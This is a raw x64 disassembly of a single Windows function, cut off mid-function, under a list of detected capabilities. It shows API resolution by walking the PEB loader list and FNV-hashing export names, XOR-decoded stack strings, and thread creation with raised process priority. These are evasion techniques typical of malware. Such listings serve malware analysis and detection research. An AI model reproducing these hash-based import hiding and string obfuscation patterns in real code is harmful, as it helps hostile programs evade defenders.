Function at 0x14006bb40
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb98]
sub rsp, 0xc70
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400f60c0]
xor rax, rsp
mov qword [rbp + 0xb30], rax
mov qword [rbp + 0xa8], rcx
xor r13d, r13d
mov dword [rsp + 0x34], r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
lea rcx, [rbp + 0xb98]
movabs rbx, 0xff00ff00ff00ff00
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rbp + 0x218], rax
mov qword [rcx], r13
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140071ef0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f6c50], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140075d90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f6c58], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140064260]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f6c60], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140063c60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f6c68], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140061e90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400f6c70], rax
mov rax, qword [0x1400f6c50]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0xb98]
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rbp + 0x90], rax
mov qword [rcx], r13
cmp qword [0x1400f6c50], r13
jne 0x14006bda6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x590]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x598], r13d
jne 0x14006bf9a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006bd86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006bd86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9c17cd80
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006bd81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006bd60
cmp r8d, 0x6777e650
je 0x14006bd8b
test r9d, r9d
jne 0x14006bd40
mov rax, qword [rax]
jmp 0x14006bd10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c58], 0
jne 0x14006be86
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5f0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5f8], 0
jne 0x14006bf9a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006be66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006be66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1351816
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006be61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006be40
cmp r8d, 0xac2b477e
je 0x14006be6b
test r9d, r9d
jne 0x14006be20
mov rax, qword [rax]
jmp 0x14006bdf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c60], 0
jne 0x14006bf66
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x600]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x608], 0
jne 0x14006bf9a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006bf46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006bf46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6409304d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006bf41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006bf20
cmp r8d, 0xbd3621ad
je 0x14006bf4b
test r9d, r9d
jne 0x14006bf00
mov rax, qword [rax]
jmp 0x14006bed0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c68], 0
jne 0x14006c056
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5e0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5e8], 0
je 0x14006bfa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006c036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006c036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe8baa947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006c031
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006c010
cmp r8d, 0xbb9feb87
je 0x14006c03b
test r9d, r9d
jne 0x14006bff0
mov rax, qword [rax]
jmp 0x14006bfc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, 0x6ee2167e
mov dword [rsp + 0x34], eax
mov rbx, qword [0x1400f6cc8]
test rbx, rbx
jne 0x14006c29d
mov r11d, r13d
mov r10d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006c17d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x60abd22e
cmp rcx, r8
je 0x14006c174
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006c160
cmp edx, r11d
jne 0x14006c27d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006c27d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006c27d
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x60abd22e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006c1f6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006c1e0
cmp edx, r10d
je 0x14006c202
test r8d, r8d
jne 0x14006c1c0
jmp 0x14006c27d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14006c296
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x14006c296
mov r11d, 0x60abd22e
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14006c257
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14006c240
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x14006c279
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14006c261
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006c293
cmp qword [rax + 0x30], 0
jne 0x14006c130
mov rbx, r13
mov qword [0x1400f6cc8], rbx
mov eax, dword [0x1400cf3b8]
mov dword [rbp + 0x120], eax
movzx eax, word [0x1400cf3bc]
mov word [rbp + 0x124], ax
movzx eax, byte [0x1400cf3be]
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov byte [rbp + 0x126], al
movups xmmword [rbp + 0x110], xmm0
mov r8d, r13d
mov ecx, 5
lea edx, [rcx + 0x1a]
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006c43f
movdqa xmm5, xmmword [0x1400e4c40]
movdqa xmm4, xmmword [0x1400d0580]
movd xmm6, ecx
movdqa xmm7, xmmword [str.3333]
movd xmm8, edx
movdqa xmm0, xmmword [0x1400d04c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x114]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006c330
cmp r8d, 0x17
jge 0x14006c483
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14006c450
mov eax, 0x7b3f1770
mov dword [rbp + 0x80], eax
mov rdx, qword [0x1400f6cc0]
test rdx, rdx
jne 0x14006c62c
mov r11d, r13d
mov r10d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop dword [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006c50d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x61abd3c1
cmp rcx, r8
je 0x14006c504
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006c4f0
cmp edx, r11d
jne 0x14006c60d
mov r9, qword [r14 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov esi, ecx
add rsi, r9
cmp rsi, r9
je 0x14006c60d
mov r8d, dword [rsi + 0x18]
test r8d, r8d
je 0x14006c60d
mov r15d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
add rcx, r9
mov edx, 0x61abd3c1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006c586
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006c570
cmp edx, r10d
je 0x14006c592
test r8d, r8d
jne 0x14006c550
jmp 0x14006c60d
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rsi
jbe 0x14006c625
lea rax, [rsi + r12]
cmp rdx, rax
jae 0x14006c625
mov r11d, 0x61abd3c1
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14006c5e7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14006c5d0
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14006c609
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14006c5f1
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x14006c623
cmp qword [rax + 0x30], 0
jne 0x14006c4c0
xor edx, edx
mov qword [0x1400f6cc0], rdx
movsd xmm0, qword [str._BSTU]
movsd qword [rbp - 0x68], xmm0
movzx eax, word [0x1400cf3a0]
mov word [rbp - 0x60], ax
cmp byte [0x1400cf3a1], 0
je 0x14006c675
mov byte [rbp - 0x68], WSAGetLastError
xor byte [rbp - 0x67], 0x36
xor byte [rbp - 0x66], 0x37
xor byte [rbp - 0x65], 0x38
xor byte [rbp - 0x64], 0x39
xor byte [rbp - 0x63], 0x3a
xor byte [rbp - 0x62], 0x3b
xor byte [rbp - 0x61], 0x3c
xor byte [rbp - 0x60], 0x3d
xor byte [rbp - 0x5f], 0x3e
lea rcx, [rbp - 0x68]
call rdx
lea rdx, [rbp + 0x110]
mov rcx, rax
call rbx
mov r13, rax
mov edx, 0x14a5cff0
mov dword [rbp + 0x84], edx
test rax, rax
jne 0x14006c6a6
lea rcx, [rbp + 0xb98]
jmp 0x14006c8fb
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x14006c84e
mov rcx, qword [0x1400f6cb8]
test rcx, rcx
jne 0x14006c851
xor r11d, r11d
mov r10d, edx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006c72d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7e8c578d
cmp rcx, r8
je 0x14006c724
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006c710
cmp edx, r11d
jne 0x14006c82d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006c82d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006c82d
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x7e8c578d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006c7a6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006c790
cmp edx, r10d
je 0x14006c7b2
test r8d, r8d
jne 0x14006c770
jmp 0x14006c82d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14006c845
lea rax, [r15 + rdi]
cmp rcx, rax
jae 0x14006c845
mov r11d, 0x7e8c578d
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14006c807
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14006c7f0
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x14006c829
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14006c811
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006c843
cmp qword [rax + 0x30], 0
jne 0x14006c6e1
xor ecx, ecx
mov qword [0x1400f6cb8], rcx
jmp 0x14006c851
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r13
mov ebx, eax
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
lea rcx, [rbp + 0xb98]
mov qword [rbp + 0x88], rcx
movabs rdx, 0xff00ff00ff00ff00
mov rax, qword [rbp + 0x90]
xor rax, rdx
mov qword [rcx], rax
mov rax, qword [0x1400f6c58]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0xb98]
mov rax, rdx
mov qword [rbp + 0x98], rdx
mov qword [rbp + 0xa0], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x90], rax
mov qword [rcx], 0
cmp qword [0x1400f6c50], 0
jne 0x14006ca36
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x630]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x638], 0
jne 0x14006cc2a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ca16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ca16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9c17cd80
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ca11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006c9f0
cmp r8d, 0x6777e650
je 0x14006ca1b
test r9d, r9d
jne 0x14006c9d0
mov rax, qword [rax]
jmp 0x14006c9a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c58], 0
jne 0x14006cb16
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x620]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x628], 0
jne 0x14006cc2a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006caf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006caf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1351816
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006caf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006cad0
cmp r8d, 0xac2b477e
je 0x14006cafb
test r9d, r9d
jne 0x14006cab0
mov rax, qword [rax]
jmp 0x14006ca80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c60], 0
jne 0x14006cbf6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x610]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x618], 0
jne 0x14006cc2a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006cbd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006cbd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6409304d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006cbd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006cbb0
cmp r8d, 0xbd3621ad
je 0x14006cbdb
test r9d, r9d
jne 0x14006cb90
mov rax, qword [rax]
jmp 0x14006cb60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c68], 0
jne 0x14006cce6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5d0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5d8], 0
je 0x14006cc31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ccc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ccc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe8baa947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ccc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006cca0
cmp r8d, 0xbb9feb87
je 0x14006cccb
test r9d, r9d
jne 0x14006cc80
mov rax, qword [rax]
jmp 0x14006cc50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
